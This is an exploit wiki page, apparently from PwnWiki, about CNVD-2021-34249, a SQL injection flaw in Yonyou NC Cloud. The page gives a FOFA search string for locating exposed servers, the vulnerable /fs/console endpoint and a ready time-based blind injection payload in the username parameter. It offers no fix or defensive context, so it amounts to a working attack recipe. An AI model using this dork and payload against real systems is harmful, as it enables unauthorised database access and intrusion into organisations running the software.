CNVD-2021-34249 用友NC Cloud SQL注入漏洞

From PwnWiki
Revision as of 16:07, 10 June 2021 by FuzzyBot (talk | contribs) (Updating to match new version of source page)
(diff) ← Older revision | Latest revision (diff) | Newer revision → (diff)
Other languages:
Chinese • ‎English • ‎中文（中国大陆）‎

影响版本

NC Cloud

FOFA

"NCCloud"

漏洞位置

⚠️️username處可以注入。 

/fs/console?username=admin&password=123456


Payload

/fs/console?username=admin';WAITFOR DELAY '0:0:5' --&password=123456
Retrieved from "https://pwnwiki.com/index.php?title=CNVD-2021-34249_用友NC_Cloud_SQL注入漏洞/zh-cn&oldid=4727"